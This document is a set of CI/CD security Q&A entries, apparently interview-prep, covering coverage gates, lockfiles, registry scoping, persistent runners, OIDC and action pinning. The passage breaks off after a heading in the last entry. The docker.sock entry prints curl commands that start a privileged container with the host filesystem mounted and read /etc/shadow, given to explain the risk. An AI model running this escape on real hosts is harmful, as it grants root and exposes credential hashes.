on:
pull_request:
paths-ignore:
- 'docs/**'
- '**/*.md'
- 'LICENSE'
Everything else, including terraform/**, triggers the full job set, and a new directory is safe by default.
| Path | unit | integration | policy |
|---|---|---|---|
| src/** | yes | yes | yes |
| terraform/** | no | yes | yes |
| charts/** | no | yes | yes |
| policies/** | no | no | yes |
| docs/**, *.md | no | no | no |
Alternatives, and when each is right:
- Run on every path, no filter at all. Simplest and correct; costs CI minutes on docs-only PRs. If the integration job is under about five minutes, this is the right call and you delete the filter entirely.
- Fail-closed allowlist (above). Same correctness, cheaper, but the allowlist is now a thing to maintain, so it needs a test.
- Narrow filter on runtime paths. Acceptable only when the path provably cannot affect runtime and the exclusion is named and reviewed. "We forgot terraform" is not that.
Failure mode and detection: the one-line change to terraform/modules/network matched no src/** filter, so no workflow triggered; the apply from main took the production DNS zone private and CI stayed green because nothing ran. Detect it two ways. Make the integration job a required status check: a required check that never triggers shows as expected/pending and blocks the merge instead of passing. And add a guard test that fails when a changed file matches no known path category.
Store the path-to-job map and the guard test in the platform repo next to the workflow, not a wiki page written afterwards.
If the filter can ignore the thing that ships, the filter is the outage.
Curated: · Written: · Reviewed:
Q&A-9coverage is required and the job prints 82%. The PR still merges at 61%. Where is the gate?
The gate is the exit code of a required status check, not the percentage in the log.
If the coverage job exits 0, branch protection has nothing to block on. The 82% is almost certainly whole-repo coverage measured on the merge base; the 61% is coverage of the lines this PR touched. Both numbers are real, they answer different questions, and only one of them is wired to a failure.
Mechanism: branch protection blocks a merge when a named check reports failure, and a check reports failure when its job exits non-zero. Coverage tools print a percentage and exit 0 by default: the threshold is separate configuration. If it isn't set, or is set on the wrong metric, the job is a reporter. So two independent things need verifying: does the job ever exit non-zero, and is that job the one branch protection requires?
Failure modes, each with how you'd catch it:
- No threshold configured. The job prints and exits 0 forever. Catch it: read the job's exit code in the CI log, or run the same command locally with a threshold you know should fail.
- Required check name doesn't match the job. Branch protection requires
coverage; the job iscoverage-report, or the required check is a build job that runs tests without the coverage gate. Catch it: compare the required-check list against the check names on the PR. - Coverage measured on the wrong revision. The job checks out the default branch or merge base, so 82% is main's number and the PR's lines were never measured. Catch it: print the commit SHA the report was generated from and compare it with the PR head.
- Policy on the wrong metric. A floor on total coverage is nearly blind to a small PR. Catch it: compute diff coverage on changed lines.
- Bypass. Admin merge, "merge without waiting for checks", or a stale green check from an earlier commit on the same branch. Catch it: audit merges where the head SHA at merge time differs from the SHA the check ran on.
Arithmetic for why the two numbers diverge. The repo is 10,000 lines with 8,200 covered: 82.0%. The PR adds 100 lines, 61 of them covered. New total: 8,261 / 10,100 = 81.8%. A total-coverage floor of 80% passes comfortably. A diff floor of 80% fails at 61%. Same PR, same report, opposite verdicts.
| Setup | Posted | Exit | Merge |
|---|---|---|---|
| report only, no threshold | 82% (merge base) | 0 | yes, at 61% diff |
| diff coverage floor 80% | 61% | 1 | blocked |
| total floor 80% | 81.8% | 0 | yes, at 61% diff |
The fix is one line of policy plus one line of branch protection: fail the job when diff coverage on changed lines is below the floor, and make that job's check the required one. Then prove it: open a PR that deletes a covered branch without a replacement and confirm the check goes red and the merge button stays disabled. If it doesn't, the gate is still a screenshot.
Curated: · Written: · Reviewed:
Q&A-44The job runs npm install because npm ci "fails too often". What did you stop verifying?
What you stopped verifying
The check npm ci performs that npm install does not: that package.json and package-lock.json agree, and that the tree installed is exactly the tree the lockfile pins. npm ci exits with EUSAGE: "npm ci can only install packages when your package.json and package-lock.json are in sync", when they disagree. That error is the signal that someone edited package.json without regenerating the lockfile. Switching to npm install doesn't fix the drift; it hides it, because npm install resolves the ranges and rewrites the lockfile to match.
Mechanism. npm install reads the semver ranges in package.json, resolves each to the newest version satisfying it (using the lockfile as a starting hint), and writes the result back to package-lock.json. npm ci reads only the lockfile, deletes node_modules first, and installs the pinned tree; it never writes the lockfile. The two commands differ on exactly one thing: whether the resolved graph is allowed to move.
Concrete. package.json says "lodash": "^4.17.0". The lockfile pins 4.17.20. npm ci installs 4.17.20 every time. npm install installs 4.17.21 and rewrites the lockfile. Same for transitives: if A@^1.0.0 depends on B@^2.0.0 and the lockfile pins B 2.3.0, npm install takes B 2.4.0 the day it is published, and that version runs in CI and ships in the image.
| reads | writes lockfile | tree | |
|---|---|---|---|
npm install | package.json ranges | yes, silently | may move |
npm ci | lockfile only | no | pinned |
What you stopped verifying, itemised:
package.json↔ lockfile agreement: the drift gate.- That the reviewed tree is the installed tree: no new transitive versions.
- Reproducibility: same lockfile → same tree, across runs and machines.
- That CI doesn't silently rewrite the lockfile, leaving a dirty tree nobody sees.
When npm install is defensible. When you are deliberately upgrading and will review the lockfile diff in the pull request. That is a different job from a CI install. If the real complaint is "npm ci fails too often", the failure is lockfile drift, and the fix is to run npm install locally, commit the lockfile, and keep CI on npm ci. Dropping to npm install to turn red green is choosing to stop checking.
Detection. Add git diff --exit-code package-lock.json after the install step; a non-empty diff means the lockfile moved. Or run npm ci in a separate job and let it fail loudly.
Versions. npm ci landed in npm 5.7.0; lockfileVersion 2 with npm 7, 3 with npm 9. Yarn's --frozen-lockfile and pnpm's --frozen-lockfile are the equivalents.
Curated: · Written: · Reviewed:
Q&A-45Internal package @acme/checkout-lib is also a name someone published to the public npm. CI resolved the public one. How do you bind the name?
The 90-second answer
The name is bound by a scope-to-registry mapping in .npmrc, committed to the repo, plus a regenerated lockfile. npm resolves a scoped name like @acme/checkout-lib by looking up the registry configured for @acme; if that mapping is absent it uses the default registry, which is exactly how CI pulled the public squatter. There is no fallback the other way: once @acme maps to the private registry, a missing version is a hard 404, not a substitution.
# .npmrc, committed at repo root
@acme:registry=https://npm.acme.internal/artifactory/api/npm/npm/
//npm.acme.internal/artifactory/api/npm/npm/:_authToken=${NPM_TOKEN}
registry=https://registry.npmjs.org/
The default registry= stays public so open-source deps still resolve; the @acme: line overrides it for that scope only.
Then regenerate the lockfile. package-lock.json (lockfileVersion 2/3, npm 7+) stores a resolved URL per package, and npm ci fetches that URL directly: a lockfile generated before the fix still points at registry.npmjs.org/@acme/checkout-lib. Delete it, run npm install with the corrected .npmrc, commit the new lockfile. Verify with grep -c 'registry.npmjs.org/@acme' package-lock.json → must be 0.
Yarn Berry uses .yarnrc.yml instead:
npmScopes:
acme:
npmRegistryServer: "https://npm.acme.internal/artifactory/api/npm/npm/"
pnpm reads the same .npmrc syntax as npm.
Alternatives and when to pick them
| Approach | Protects | Cost | Use when |
|---|---|---|---|
.npmrc scope mapping | scoped names only | one committed file | all internal packages are scoped (the common case) |
Proxy/virtual repo as sole registry= | scoped and unscoped | proxy is a SPOF, needs auth and an internal-name allowlist | unscoped internal names, or many teams |
Register @acme as an npm org | the public name itself | free, but only if you don't already own it | always, as defense in depth |
Registering the org is the only thing that stops someone publishing @acme/* publicly in the first place: publishing a scoped package requires owning the scope. If a squatter already holds @acme, that's an npm support ticket, not a config change.
Failure modes
- Lockfile drift: correct
.npmrc, staleresolvedURLs →npm cistill fetches public. Detect by grepping the lockfile. - Config shadowing: a user-level
~/.npmrcorNPM_CONFIG_REGISTRYenv var overrides the repo file. Detect on the runner withnpm config get @acme:registry. - Unscoped internal names: the scope mapping does nothing for them; only the proxy approach covers those.
Verification
On a clean runner: npm config get @acme:registry returns the private URL, and installing a version that doesn't exist internally fails the job rather than resolving publicly.
Curated: · Written: · Reviewed:
Q&A-40A self-hosted runner has been registered since 2024 and reuses a dirty workspace. A job wrote /tmp/keys. What is the runner model?
It's a persistent self-hosted runner: a long-lived registration that reuses its work directory and shares the host's /tmp across jobs. Not an ephemeral (single-job) runner, and not a GitHub-hosted runner.
Three signals in the question each rule out the alternatives:
- Registered since 2024: the registration outlives the job. An ephemeral runner (
./config.sh --ephemeral) deregisters itself after exactly one job; a GitHub-hosted runner is a fresh VM per job and has no registration you own. - Reuses a dirty workspace: the runner agent executes jobs in
<runner-dir>/_work/<repo>/<repo>and does not wipe it between jobs unless you do. A dirty workspace means job N+1 sees job N's checkout, build output and untracked files. - A job wrote
/tmp/keys:/tmpbelongs to the host, not the runner. The agent never cleans it, so the file is still there for the next job on that host.
Mechanism: the runner is a service (actions/runner) that polls the queue for its labels and runs whatever job it is handed. As the same OS user, on the same filesystem, with the same environment. Persistence is the default; ephemerality is opt-in.
| Persistent (pet) | Ephemeral | |
|---|---|---|
| Registration | survives jobs | deregisters after one job |
_work | reused, dirty | fresh |
/tmp | shared across jobs | fresh VM/container |
| Blast radius of a leaked secret | every later job on that host | one job |
One correction worth carrying into the interview: docker.sock access is a host-configuration choice, whether the runner user is in the docker group or the socket is mounted in, not a property of persistence. A persistent runner with no socket access still leaks /tmp.
Failure mode: cross-job secret leakage. Job A writes a PAT to /tmp/keys; job B (including a fork-PR job, which on a persistent runner lands on the same box) reads it. Detection: compare the runner identity across two jobs (RUNNER_NAME plus the _diag logs) and write a canary file in job A, then assert it is absent in job B. If the canary survives, the runner is persistent.
When persistence is fine: trusted, single-tenant, non-secret workloads where you want warm caches. When it is not: anything touching credentials or running untrusted code. Use --ephemeral with an autoscaling pool so each job gets a fresh registration and a fresh filesystem.
Curated: · Written: · Reviewed:
Q&A-41The build job mounts /var/run/docker.sock because Kaniko "was slow". What did you grant the job?
Host root on the build node, for the life of the job. /var/run/docker.sock is the Docker daemon's control socket, and the daemon runs as root on the host. Anything that can write to that socket can ask the daemon to start a container with --privileged and the host filesystem bind-mounted. The job didn't get "docker access"; it got the ability to run arbitrary root commands on the machine that also holds the runner's instance-metadata credentials and every other job's containers.
Why the mount is root, not just "docker". The socket is a Unix socket, mode 0660, owned root:docker. The build pod runs as root (or with the socket's group), so the step can open it. From there the API is the grant: no exploit required:
# API version the host advertises; 1.44 ships with Docker 25
curl --unix-socket /var/run/docker.sock \
-X POST http://localhost/v1.44/containers/create \
-H 'Content-Type: application/json' \
-d '{"Image":"alpine","Cmd":["sh","-c","cat /host/etc/shadow"],
"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
# -> 201 {"Id":"...","Warnings":[]}
curl --unix-socket /var/run/docker.sock \
-X POST http://localhost/v1.44/containers/<Id>/start
# -> 204; the container reads the host's /etc/shadow as root
A compromised npm install postinstall script is enough: it runs as the build user with the socket mounted.
The trade-off you actually made. Kaniko is slow because it re-executes every RUN without a daemon and, by default, without a shared layer cache, so each pod starts cold. A warm daemon reuses layers across builds. The choice was build minutes against host root. The criteria that decide it:
- Is the node dedicated to this job and destroyed after? A shared, long-lived runner with cloud credentials reachable in IMDS is the worst case; an ephemeral single-tenant node is the least bad.
- Can you get the cache back without the socket? BuildKit rootless with
--cache-to type=registry, or a PVC-mounted cache, restores most of the speed and needs no host daemon. - If a daemon is genuinely required, a
docker:dindsidecar with no host mount confines the daemon to the pod, but it still needsprivileged: true, so it's a smaller grant, not a free one.
| Method | Host docker.sock | Privilege |
|---|---|---|
| Host socket mount | yes | host root |
| Kaniko in pod | no | container |
| BuildKit rootless + registry cache | no | user namespace |
docker:dind sidecar | no | pod-scoped privileged |
Hypothetical from a Node monorepo build, to frame the numbers: warm daemon ~40 s, Kaniko cold ~4 min, Kaniko with a registry cache ~70 s. The cache, not the socket, was buying the speed.
Failure mode and detection. The escape is silent: the build still succeeds. Detect it by asserting the pod spec has no hostPath for /var/run/docker.sock, enforced by admission (Kyverno or Gatekeeper denying hostPath) and a unit test on the rendered job YAML. If the mount stays, the compensating controls are an ephemeral node, no reachable IMDS credentials (IMDSv2 with hop limit 1, or IRSA/Workload Identity), and egress restricted to the registry.
Curated: · Written: · Reviewed:
Q&A-2The prod workflow runs docker build so "production uses production credentials". What do you change?
Short answer: the build moves to CI, production pulls a signed digest and runs it, and credentials come from the runtime identity rather than from build arguments.
The prod workflow shouldn't be building at all. Build once in CI under the CI identity, push to a registry, sign the digest, and have the prod job do cosign verify then deploy that digest. Runtime secrets (DB URL, API keys) get injected by the workload identity (IRSA, Workload Identity, or whatever the platform uses) when the container starts, not passed as --build-arg.
Why build-args are the wrong place: a build-arg that changes the image changes the artifact. --build-arg DB_URL=... bakes the value into a layer, so the image that runs in prod is not the image that was scanned and tested in CI. It also leaks: anyone with pull access, or anyone handed a support copy, can read it out of the layer.
A case I've dealt with: a prod-only build-arg carried the database URL into a layer through a RUN step. CI scanned the CI-built image and it was clean. After a support copy of the prod image, docker history printed the expanded command with the URL in it. The scan never saw the image that shipped.
Before and after:
# before — prod builds, credentials in the build
prod-deploy:
steps:
- docker build --build-arg DB_URL=$PROD_DB_URL -t app:$SHA .
- docker push app:$SHA
- kubectl set image deploy/app app=app:$SHA
# after — CI builds and signs; prod verifies and runs
ci-build:
steps:
- docker build -t $REGISTRY/app:$SHA .
- docker push $REGISTRY/app:$SHA
- cosign sign --yes $REGISTRY/app@$DIGEST
prod-deploy:
steps:
- cosign verify --certificate-identity-regexp '...' $REGISTRY/app@$DIGEST
- helm upgrade app ./chart --set image=$REGISTRY/app@$DIGEST
# DB_URL and friends come from the pod's service account / workload identity
When a prod-side build is legitimate: air-gapped environments where prod can't reach the CI registry, and regulated setups where the build has to happen inside the production boundary. In both, the fix isn't "build in prod with prod secrets": it's build from a pinned commit inside that boundary, pass secrets as BuildKit --secret mounts (which aren't stored in the image layers) instead of --build-arg, sign the result, and record the digest. You still get one artifact identity; you've only moved where it's produced.
Migration cost is the part people underestimate. You need a registry CI can push to and prod can pull from, or a mirror/sync step if it can't; signing infrastructure, where cosign with keyless OIDC is the least-effort path; and a promotion mechanism that pins digests rather than tags. If prod builds today because it has no pull path to CI's registry, that's the real blocker, and it's a networking and registry change, not a YAML change.
Evidence it's fixed: a policy check that prod workflows contain no build or compile steps, plus a test PR that adds docker build under the prod job and fails CI. cosign verify in the deploy path means an unsigned or mismatched digest can't roll out. Rollback is redeploying the previous digest, which only works if you recorded it.
Curated: · Written: · Reviewed:
Q&A-81concurrency: cancel-in-progress on main cancelled the required check of the merge commit when a later push arrived. What is the rule?
The rule: concurrency.group is a string identity key, not a scope. Any two runs that resolve to the same string share one slot, and with cancel-in-progress: true the newer run cancels the one already in progress. Key the group on the branch (github.ref, github.ref_name, or github.base_ref) and every push to main reuses that one slot, so the run for the previous head_sha gets cancelled. That previous SHA is the merge commit branch protection is waiting on. A cancelled run reports conclusion cancelled, never success, so the required check on that commit is unsatisfied and the merge is blocked or force-merged.
Mechanism, stated once: group key = identity; a new push reuses the key; the older run is cancelled; the required check on the older SHA never reports success.
Three ways to fix it, in order of how often I'd reach for them.
1. Put the commit in the key. Each SHA becomes its own slot, so a new push cannot cancel the previous commit's run:
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.sha }}
cancel-in-progress: true
Cost: rapid pushes stack runs instead of replacing them. That is the right trade for a required check and the wrong one for a lint job.
2. Keep branch grouping, stop cancelling the required workflow.
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: false
Queued runs wait rather than cancel. Correct for the required check; wasteful for disposable PR runs, which is why you split the two workflows rather than flipping one flag globally.
3. Let the merge queue do the grouping. A queue entry runs on a per-candidate ref, gh-readonly-queue/<base>/pr-<n>-<sha>, so github.ref is already unique per candidate and ref-keyed grouping is safe there. The trap is keying on github.base_ref: that collapses every candidate into one slot and reproduces the exact bug inside the queue.
| Group key | cancel-in-progress | Effect on required check |
|---|---|---|
${{ github.ref }} | true | new push cancels prior SHA's run: the bug |
${{ github.ref }}-${{ github.sha }} | true | per-commit slot, prior run survives |
${{ github.ref }} | false | prior run queues, survives |
${{ github.base_ref }} (queue) | true | all candidates share a slot: bug again |
Detection: gh run list --branch main --workflow ci.yml shows cancelled conclusions, and gh api repos/:owner/:repo/commits/<sha>/check-runs shows the required check as cancelled rather than successful. Branch protection counts cancelled as not-passed, which is why the merge commit looks like it is missing a check.
Failure mode to name out loud: a queue entry's required job is cancelled, the queue drops the entry and returns the PR, and if someone force-merges instead, the merge commit ships with its required check never having run green. The fix is the group key, not a retry.
Curated: · Written: · Reviewed:
Q&A-83Load tests run in a nightly Jenkins and page Slack. Production shipped a 3× slower endpoint at noon. Where should the test sit?
Put the gate on the promote path, not on the nightly. A nightly that runs against yesterday's build cannot unship anything; by the time it pages, the change is already serving traffic. The test that matters runs against the exact candidate artifact (the same container image digest, same config) in a pre-prod environment, and its p99 budget fails the promote.
Assumptions I'd state up front: "3× slower" means a tail metric, say p99 going 180 ms → 640 ms on that endpoint; the nightly runs against the last green build, not the candidate; and the promote is a pointer move (image tag or deploy manifest) that can be blocked before it happens.
Why the nightly can't be the gate: it exercises a build that is already in production or already superseded. Even if it catches the regression at 02:10, the only lever left is rollback, and rollback is expensive and ambiguous. You're reverting a pointer that six other changes rode in on. The gate has to sit where the decision is still reversible.
| Where the test sits | Artifact it exercises | Can block prod? |
|---|---|---|
| Nightly Jenkins | last green build | no |
| Pre-prod soak on candidate digest | this commit's image | yes |
| Prod-only monitoring | live traffic | too late |
The mechanism is artifact identity. A soak job that pulls the candidate image digest, runs the same load profile against it, and compares p99 to a budget gives you a verdict on the thing you're about to ship. Concretely: candidate image app:sha-9f3c1a2, 200 rps for 10 minutes, budget p99 ≤ 250 ms. If the run reports p99 640 ms, the promote job exits non-zero and the pointer never moves. The regression is caught at noon in staging, not 02:10 the next morning.
Failure modes worth naming:
- Budget on the mean hides tail regressions. Gate on p99 or p99.9, not average.
- A flaky soak (shared staging, noisy neighbors) gets the gate bypassed within a week. Pin the environment, or run it in an isolated namespace with reserved capacity.
- A soak environment that isn't representative (smaller instance class, cold cache) produces false greens. Match instance type and warm the cache the way prod does.
- A gate that's too slow blocks the queue, and people batch changes to avoid it. Keep the soak to 10–15 minutes and run it in parallel with the other checks.
Alternative worth mentioning: progressive delivery in prod. Canary 5% of traffic, auto-rollback on a p99 breach. That catches environment-specific regressions the soak can't, but it needs rollback automation and it still ships to some users. Use it alongside the pre-prod gate, not instead of it, if you have the tooling.
Keep the nightly for what it's good at: fleet-wide capacity trends, long-running soak, cross-service regressions. It's a smoke detector, not a brake.
Record on the change: the candidate digest, the gate that ran, the budget, and the rollback command. That record lives beside the promote job so an incident can name exactly which bits shipped.
Curated: · Written: · Reviewed:
Q&A-84A protobuf field was reused with a new meaning. Old mobile clients crashed after the API deployed. What gate runs on the proto change?
The gate is a breaking-change check on the proto contract, run in CI on every PR that touches a .proto file, comparing the proposed schema against the last released one. With buf that is buf breaking --against a git tag or a BSR module; with a schema registry it is the registry's compatibility check. It has to be a required status check, not advisory.
# buf.yaml
version: v2
breaking:
use:
- WIRE_JSON # WIRE is the floor; WIRE_JSON also catches JSON-name changes
buf breaking --against '.git#tag=v1.42.0'
Field reuse is the case this gate exists for. The wire format carries a field number and a wire type, never the name or the meaning. Reuse field 7 with the same wire type and the bytes decode cleanly into the old field: no parse error, no unknown-field skip, just a wrong value.
Trace it. Old schema int64 user_id = 7;, new schema int64 order_id = 7;. The server sends order_id = 999999:
38 BF 04 3D
│ └──────┴── varint 999999
└── tag: (7 << 3) | 0 = 0x38, field 7, varint
An old client reads field 7 as user_id = 999999, looks it up in a map with no such key, and dereferences null. That is the crash. Had the wire type changed instead (int64 → string), the old client would skip field 7 as unknown and return a silently wrong answer: arguably worse than crashing.
| Change | buf breaking | Why |
|---|---|---|
add optional string locale = 18; | pass | new number, no existing reader affected |
reuse 7 for a new meaning | fail | number already bound in the released schema |
delete 3 without reserved | fail | number can be reused later |
delete 3 with reserved 3; | pass | reuse is now a compile error |
rename user_id → account_id | pass under WIRE, fail under WIRE_JSON | wire-safe, JSON name changes |
Failure modes worth naming:
- Compared against the wrong reference.
--against mainpasses because main already contains the change. The reference must be the released tag, and if you support N-2 app versions, the oldest schema still in the field. - Advisory gate. If it is not a required check it gets merged past during a release crunch, and the reuse that crashed clients is exactly the change someone argues is "just a rename."
- Reserved numbers not enforced.
buf breakingcatches reuse against the reference;reserved 7;catches it against every future change, including ones made after the reference moves forward. - JSON transcoding clients. Mobile clients behind a gRPC-JSON gateway break on renames that
WIREmode allows. UseWIRE_JSONif any client speaks JSON.
Detection after the fact: crash rate in Crashlytics or Sentry segmented by app version. A spike confined to old versions with a clean new-version cohort points at the contract, not the server.
Curated: · Written: · Reviewed:
Q&A-100PR CI is 41 minutes. People push to main to "see if it works". What do you cut so the inner loop is under 10 minutes?
First 90 seconds. Before cutting anything, get the breakdown: 41 minutes is almost never one slow thing. In most repos it is a monolithic job running the full unit suite, integration tests against real services, e2e, lint, and a cold build, serially. The fix is three levers: run only the tests the diff can affect, cache build and test results by content hash, and move the slow integration/e2e jobs off the PR onto a merge queue. Target p50 PR feedback ≤10 minutes, with the full suite still gating main.
Where the 41 minutes go (hypothetical breakdown, mid-size monorepo):
| Stage | Now (PR) | After |
|---|---|---|
| checkout + install deps | 4 (cold) | 1.5 (cached) |
| build | 6 | 1 (remote cache hit) |
| lint + typecheck | 3 (serial) | 3 (parallel with tests) |
| unit, full suite | 11 | — |
| unit, affected + 4 shards | — | 2.5 |
| integration (DB + services) | 14 | merge queue |
| e2e | 3 | merge queue |
| p50 | 41 | ~8 |
Lever 1: affected-test selection. Build a dependency graph from source files to test targets, diff against git merge-base HEAD origin/main, and run the transitive closure of dependents. Bazel, Nx and Turborepo do this natively; Jest has --changedSince, pytest has testmon. The mechanism is graph reachability, so it fails exactly where the graph is incomplete: dynamic imports, reflection, fixture files, migrations, and CI config itself. Keep a conservative always-run set for those, and run the full suite nightly on main to catch what selection missed.
Lever 2: remote cache. Key build and test outputs by a hash of inputs (source, toolchain version, flags, lockfile) and store them remotely (Bazel remote cache, Turborepo remote cache, sccache, Gradle build cache). A hit skips the work entirely. The first run on a cold cache is still slow; the win is the hit rate on the second and later runs, which is most PRs.
Lever 3: sharding, with Amdahl in mind. Split the suite across N runners (jest --shard, pytest-split). Setup cost is paid per shard: with 1.5 min setup and 11 min of tests, 4 shards give 1.5 + 11/4 = 4.25 min, not 2.75. Shard by historical timing, not test count, or one shard becomes the critical path.
What moves off the PR. Integration and e2e go to the merge queue, which runs the full suite on the merged result before it lands. Main stays green; PRs stop paying 17 minutes for it.
Trade-offs and when not to. Affected selection needs a trustworthy graph: reflection-heavy Python, Ruby or Java codebases cannot do it statically; use coverage-based selection (testmon) and accept staleness. A merge queue serializes landing and needs capacity; if queue wait p95 climbs, throughput drops and people go back to pushing to main. Do not cut dependency/security scanning or migration checks: those catch failures you cannot cheaply catch later.
Failure modes and detection. Selection misses a test → the nightly full run on main finds it; track revert rate. Stale cache → include toolchain and lockfile in the key, and run a periodic cache-bust. Shard imbalance → watch per-shard duration. Queue starvation → watch the direct-to-main commit rate.
Evidence. 14-day p50 of required PR jobs ≤10 min, and the direct-to-main "trying it" commit rate falling.
Curated: · Written: · Reviewed:
Q&A-13GitHub Actions still has AWS_SECRET_ACCESS_KEY in repository secrets. What do you replace it with?
Replace it with OIDC federation, then delete the IAM user and its access key.
Assumptions: the runners can reach token.actions.githubusercontent.com, and the target is AWS. If either is false, see the alternatives below.
The job asks GitHub for an OIDC token, and sts:AssumeRoleWithWebIdentity trades that token for temporary credentials: 1 hour by default, 12 hours maximum. Nothing long-lived sits in the repo, so there is nothing to leak, rotate, or forget when the person who created it leaves.
Setup, in order.
1. Register the provider once per account.
aws iam create-open-id-connect-provider \
--url https://token.actions.githubusercontent.com \
--client-id-list sts.amazonaws.com
--thumbprint-list is optional for this issuer; AWS's trusted CA library already covers GitHub's chain. A private or self-hosted issuer needs it.
2. Create a role whose trust policy pins both aud and sub.
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"Federated": "arn:aws:iam::111122223333:oidc-provider/token.actions.githubusercontent.com"},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "repo:acme/checkout:environment:production"
}
}
}]
}
sub is the whole security boundary. repo:acme/checkout:environment:production matches only jobs that declare environment: production; a job on a feature branch carries repo:acme/checkout:ref:refs/heads/feature-x and is rejected. PR-triggered jobs carry repo:acme/checkout:pull_request. Do not write a condition that accepts both the ref and environment forms: pick one, and let the environment's protection rules (required reviewers, allowed branches) be the branch gate. A mismatched sub surfaces in the action log as Not authorized to perform sts:AssumeRoleWithWebIdentity.
3. Workflow side.
permissions:
id-token: write
contents: read
jobs:
deploy:
environment: production
steps:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::111122223333:role/gha-checkout-deploy
aws-region: us-east-1
id-token: write is required; without it the action cannot fetch a token at all. Fork PRs never receive it, so they cannot assume the role even if the trust policy is loose.
Alternatives, and when OIDC is wrong
- Static keys in a secrets manager with rotation: still a standing credential, and the rotation interval is your exposure window. Use it only when the runner platform cannot mint OIDC tokens.
- Vault or another broker with GitHub OIDC auth: same federation idea, one extra hop, worth it when you need multi-cloud or dynamic database credentials.
- Self-hosted runners with an instance profile: no token at all, but you now own the runner's blast radius.
OIDC is the wrong tool when a job legitimately needs credentials past the 12-hour session cap, or the target does not accept web identity. Then a broker that mints short-lived credentials is the fallback, not a key in the repo.
Failure modes
StringLikeonrepo:acme/checkout:*: every branch, including PRs, can assume the deploy role.repo:acme/*:*: every repo in the org.- Trusting the
pull_requestsubject for anything that writes to production. - No environment protection rules: the branch gate is the environment, not the trust policy.
Verify before calling it done
CloudTrail should show AssumeRoleWithWebIdentity from sts.amazonaws.com with the expected sub, and no API calls carrying the retired key's accessKeyId. Delete the IAM user and its access key in the same change, then scan the repo for AKIA. If the old key still works next quarter, you did not replace it.
Curated: · Written: · Reviewed:
Q&A-36uses: actions/checkout@v4. A compromised tag moved v4. What do you pin?
Pin the full 40-character commit SHA of the commit you reviewed, not the tag, not the branch.
Assumptions: a public marketplace action, a runner you control, and a workflow file you can edit. If the action lives in a repo your org owns, the calculus changes: see the table.
Resolve the tag to a commit once, locally, and paste that:
git ls-remote https://github.com/actions/checkout 'refs/tags/v4.2.2^{}'
# -> <40-char commit sha> refs/tags/v4.2.2^{}
The ^{} matters. refs/tags/v4.2.2 on its own returns the annotated tag object's SHA, which uses: will not accept. Then:
- uses: actions/checkout@<40-char-sha> # v4.2.2
The trailing comment is load-bearing: it is the only way a reviewer knows which release the SHA corresponds to, and it is what Renovate or Dependabot rewrites when they open a bump PR.
Why this is the answer: a tag is a mutable ref in someone else's repository. Whoever controls that repo can repoint v4 at any commit at any time, and your workflow picks it up on the next run with no diff in your own repo. A commit SHA is content-addressed, the same SHA cannot resolve to different content, so a retag has nothing to move. The March 2025 tj-actions/changed-files compromise worked exactly this way: tags were repointed at a commit that dumped secrets into build logs. Workflows pinned to a SHA were unaffected.
Alternatives, and when each is the right call:
| Approach | Survives a retag? | Cost |
|---|---|---|
| Full commit SHA | Yes | Bump PRs; SHA is opaque without the version comment |
| Tag plus an org allowlist of permitted actions | No | The allowlist constrains which actions, not which commit |
Container action pinned by digest (image@sha256:...) | Yes, for the image | Only applies to Docker-based actions |
| An action in a repo your org owns | N/A | You are the mutable ref; pinning your own SHA is fine but you must bump it yourself |
Enforce it at the org level rather than by review habit: GitHub's Actions permissions include Require actions to be pinned to a full-length commit SHA, which rejects @v4 when the workflow runs. That is the difference between a policy and a convention.
Where SHA pinning is not enough:
- It pins the action's code, not what that code fetches at runtime. A composite action that
curls a binary, or a JS action that downloads a tool, is still a live dependency you did not pin. - It does not cover the runner image or the toolchain on it.
- A compromised maintainer can push a new commit; you are protected only until you bump. That is the intended trade: you get to read the diff first.
- Forking an action to control its updates means you now own its security patches.
Detection: a CI step that greps every uses: and fails on any ref that is not 40 lowercase hex characters. That catches the @v4 someone pastes in at 2am, which is the failure mode org policy alone will not catch if the policy is ever loosened.
Curated: · Written: · Reviewed:
Q&A-3740 repos call acme/platform/.github/workflows/deploy.yml@main. Platform main broke production in all 40. How should they consume it?
Pin to a commit SHA, and make the upgrade a reviewed PR.
uses: acme/platform/.github/workflows/deploy.yml@main is resolved when the caller's job starts: the runner fetches deploy.yml from the tip of main at that moment. No lockfile, no version negotiation. A run at 14:00 gets the file as of 14:00; platform merges at 14:05 and every caller's run after 14:05 picks up the new file. That is why one merge reached 40 repos.
The fix is to move the version decision into the caller's repo, where it can be reviewed:
# acme/checkout/.github/workflows/deploy.yml
jobs:
deploy:
uses: acme/platform/.github/workflows/deploy.yml@8f3c2a1d9e4b7f0c5a6d2e1b3c4d5e6f7a8b9c0d # v3.4.1
with:
environment: prod
secrets: inherit
The SHA is immutable; the tag in the comment is for humans. A tag alone (@v3.4.1) is readable but force-pushable by anyone with write on the platform repo, so it reopens the same hole. A moving tag (@v3) is worse: it is @main with extra steps.
Blast radius by ref:
| Ref | Repos that move on a platform merge | Blast |
|---|---|---|
@main | 40 | 40 |
@v3 (moving tag) | 40 | 40 |
@v3.4.1 (tag) | 0 until force-push | 40 if force-pushed |
@8f3c2a… (SHA) | 0 | 1 per bump PR |
The upgrade path. Platform tags v3.4.1 from a commit that passed its own CI. A bot (Dependabot's github-actions ecosystem, or a scheduled job) opens a PR in each caller changing the SHA. One canary repo merges first; if its deploy is green, the rest merge. A bad platform release now costs one repo, not forty, and the revert is a one-line PR per repo.
What breaks. SHA pins go stale: a security fix in the platform workflow does not reach products until someone bumps. Detect it with a scheduled job that greps every repo for uses: acme/platform/ and fails if any ref is a branch or older than the current release. Second, workflow_call inputs are an interface: a renamed input breaks the bump PR's CI, which is the right place to find out, per repo. Third, the SHA hides the version; keep the tag comment and a manifest so an incident review can name what shipped.
Prove it. A search job over all org repos asserting no uses: acme/platform/...@main (or any branch) remains, and a canary repo exactly one tag ahead of the fleet.
Curated: · Written: · Reviewed:
Q&A-63prod/.env is gitignored and copied by hand onto the runner. How do secrets enter GitOps?
What a strong candidate says first
